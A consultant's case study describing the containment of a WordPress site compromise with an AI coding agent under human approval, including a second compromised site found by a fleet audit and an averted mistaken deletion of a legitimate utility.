Incident Response
51 Minutes to Contain.
3.5 Hours to Sign Off.
A WordPress site started throwing 500 errors at 09:04. It turned out to be an 8-day silent compromise. By 09:55 it was contained. By 12:30 the post-mortem discipline had surfaced a second compromised site nobody would otherwise have found.
To full containment
To verified sign-off
Compromised sites found and cleaned
Scanners that caught it
The Short Version
A 500 error at 09:04. A fully-remediated compromise by 09:55.
A WordPress site started throwing 500 errors. Monitoring caught it at the same time it was reported. Within minutes of opening a terminal to the production instance, I recognized the pattern — fake WordPress core files. This wasn't a bug. It was the tail end of an 8-day silent compromise that had only become visible because the attacker made a coding error that crashed the site.
Working with an AI coding agent under human-in-the-loop (HITL) governance, I contained the breach in 51 minutes — two-pass incident response, parallel subagents pulling logs while the primary agent and I talked through remediation. Every server-side action required my approval. Most of the 51 minutes was me approving or redirecting the agent, not running commands myself.
The discipline of writing the first AAR surfaced a tell that led to a proactive fleet-wide audit — which caught a second compromised site that was staged but not yet deployed. Commercial malware scanners were running on both servers. They caught neither attack.
The Incident Timeline
From 500 error to full sign-off, in order
09:04
Monitoring and inbound report converge
Obsbot flagged the 500 error at the same moment a report came in of multiple pages failing. Two independent signals. The first action was opening the site in a browser to verify the failure was real — trust the alerts, but confirm them.
09:04 – 09:07
Parallel workflow — agent spools, SSH begins
Opened an agent task. While the agent loaded its task governance infrastructure, I SSH'd to the production instance and started inspecting the WordPress install. I recognized fake WordPress core files within minutes. By the time the agent was ready, I had a working diagnosis: this is a compromise.
09:07 – 09:12
Handoff to agent with working diagnosis
Briefed the agent with everything I had found plus the compromise hypothesis. The agent did not take my diagnosis at face value. Per governance, it spawned a subagent to pull server logs in parallel and began an independent verification crawl. Both actions required my approval before executing — HITL is a hard rule for production infrastructure.
09:12 – 09:20
Verification confirms and expands the picture
The agent and subagent came back with verification of the compromise plus material the initial inspection had missed — persistence vectors (including mu-plugin modifications) and log evidence that the compromise had actually been established a week prior while dormant. The site had been silently owned for 8 days. Only the attacker's final day of active deployment made the compromise visible.
09:20 – 09:55
Two-pass remediation
First pass: contain. Clean up the active compromise and eliminate every persistence vector, in priority order. Second pass: forensic. Understand how this happened so the vector can be closed. Mix of subagent work and primary-agent work, but roughly 70% of the window was conversation — the agent surfacing findings, me approving or redirecting. I spent very little of the time in console.
09:55
Contained
Every persistence vector eliminated. Additional controls placed to prevent the specific vector the attacker exploited. Site restored to a clean state. First containment complete — 51 minutes from initial alert.
10:16
First AAR posted
After-action report written and posted. Not theater — the AAR is a retrieval mechanism that surfaces tells the live remediation was moving too fast to catch.
10:18
Second site surfaces
The forensic evidence raised the possibility that the attacker's access method might extend beyond the single site. Rather than stop at the incident boundary, I instructed the agent to audit every site in the fleet for the same pattern of indicators. It found one. A second compromised site that would never have surfaced from the single-incident investigation alone.
10:18 – 10:45
Second site cleaned
The second site was staged but not yet deployed. The attacker had access and had laid the groundwork, but had not yet modified files. Architecture helped here: the site's integrations were one-way push-only, meaning the staged access had no sensitive data to extract. Same two-pass workflow. Remediation faster, because scope was smaller.
11:00
Final AAR updates posted
Both incidents consolidated into the ongoing after-action record. Cross-references between the two. Prevention measures documented.
12:30
Full verification complete
Multiple verification passes across both sites. Clean state confirmed across logs, file integrity, database options, active sessions, and cron jobs. 3h 26m from initial alert to verified sign-off.
HITL Isn't Theater
The agent was about to delete a fleet-wide utility
During the forensic pass, the agent flagged a mu-plugin that had been updated simultaneously across every site in the fleet. Its name looked suspicious. The agent's hypothesis was that this was the attack vector, now applied fleet-wide. It wanted to delete the file and sanitize every site in the fleet.
That didn't sit right with me.
The timing of the update was off — out of alignment with everything else we had seen from the attacker. And something about the filename looked important, not malicious. I couldn't have told you what it was off the top of my head. I could tell you the inference chain had moved too fast.
Instead of deleting, I instructed the agent to dump the file's contents.
It was part of a fleet management utility. Completely legitimate. If the agent had deleted it, we would have been reconfiguring every single site in the fleet management console by hand.
The agent wasn't stupid. It had a plausible theory with plausible evidence. My intervention wasn't based on information it lacked — it was based on pattern-match intuition I'd developed from years of incident work. That's the specific thing HITL is for: not approving rubber-stamp decisions, but catching the confident-but-wrong inference chain before it becomes irreversible.
"Dump the contents, not delete" is a non-destructive verification step. Inspecting a suspicious file is almost free. Deleting one and being wrong — when it turns out to be a fleet-wide utility — isn't.
The Structural Lesson
Security is only as strong as the weakest site in the fleet
The attack pattern worth naming here generalizes beyond the specific incident. When an attacker can't brute-force a primary target through its protections, they have options: pivot to a softer target in the same operational environment, compromise that one, and use whatever credentials or access patterns fall out to try the original target again — often with much better success.
This is "security is only as strong as the weakest link" made literal. Any environment running multiple sites with shared administrator accounts, common credentials, or overlapping access patterns is exposing every site to the security posture of the weakest one. Brute-force protection on the crown jewel is worth less than it looks if a less-hardened sibling can be compromised and its access recycled.
What the scanners missed
Both servers had maldet — the commercial-grade malware detection running on Linux servers across the industry. It caught neither attack.
The defaced site might have been caught by that evening's scheduled scan, once the active deployment phase began. But the silent-compromise phase — the one that actually established persistence — had no signature for a scanner to match. The attacker's "core access method" on the second site was nothing more than a valid admin password. That doesn't look malicious to any commercial tool. It looks like a login.
Commercial scanners catch malware signatures. They don't catch credential-based access or silent staging. A site owner running standard defensive tooling would have seen nothing wrong with either compromise until the attacker chose to make noise.
The Counterfactual
The same incident, without the agent
A solo operator without an AI-assisted workflow handles the same incident. The timeline doesn't shrink to hours. It expands to days.
Days
To initial remediation
Containment alone takes a full working day or more when one person is hunting persistence vectors manually across file integrity, mu-plugins, cron jobs, database options, and session state. That's before forensic analysis starts.
Likely
At least one persistence vector missed
Even with dedicated commercial WP-cleanup tools, persistence vectors are pernicious enough that one typically survives a manual cleanup. The attacker returns. Remediation starts over, usually under worse conditions because trust in the cleanup is now gone.
Never
Would the fleet audit have happened
By the time the first site is cleaned and the AAR is written, a solo operator is exhausted. The proactive fleet-wide audit — the work that caught the second compromise — is exactly the kind of low-urgency, high-judgment task that gets dropped when the operator is running on empty. Without that audit, the second compromise stays silent until the attacker chooses to act.
The Design Insight
AI augmentation doesn't replace the operator. It restores their capacity to do the work that would otherwise get dropped.
The 51-minute containment is the attention-grabbing number. The real story is the 3.5 hours that followed — AAR discipline, fleet audit, second compromise identified and cleaned, verification passes across both sites. That work exists because the 51-minute containment didn't consume the operator's capacity. The agent scaled my judgment across more work than one person could previously cover.
I use agentic workflows to extend my own surface area. That's what lets me push past "I think I found the problem" into the proactive audits that actually catch what would have been missed — at a speed a human team can't match on its own.
HITL for production
Every server-side action requires approval. AI-assisted remediation on production infrastructure without HITL is cowboy, not senior operation.
Two-pass discipline
Contain first, forensic second. Stop the active compromise before trying to understand how it happened. Priority ordering is what makes speed defensible.
AAR as retrieval mechanism
The AAR isn't paperwork. Writing it surfaced the tell that led to the second compromised site. Documentation is a discovery tool, not a deliverable.
Technical Stack
Work with me
Need someone who stays calm when a compromise surfaces at 09:04?
Incident response is one slice of fractional-CTO work — the visible slice. The quieter work is the governance, architecture, and tooling that makes a 51-minute containment realistic in the first place.
More case studies
See how I approach different kinds of problems — from AI-governed development to enterprise platform architecture.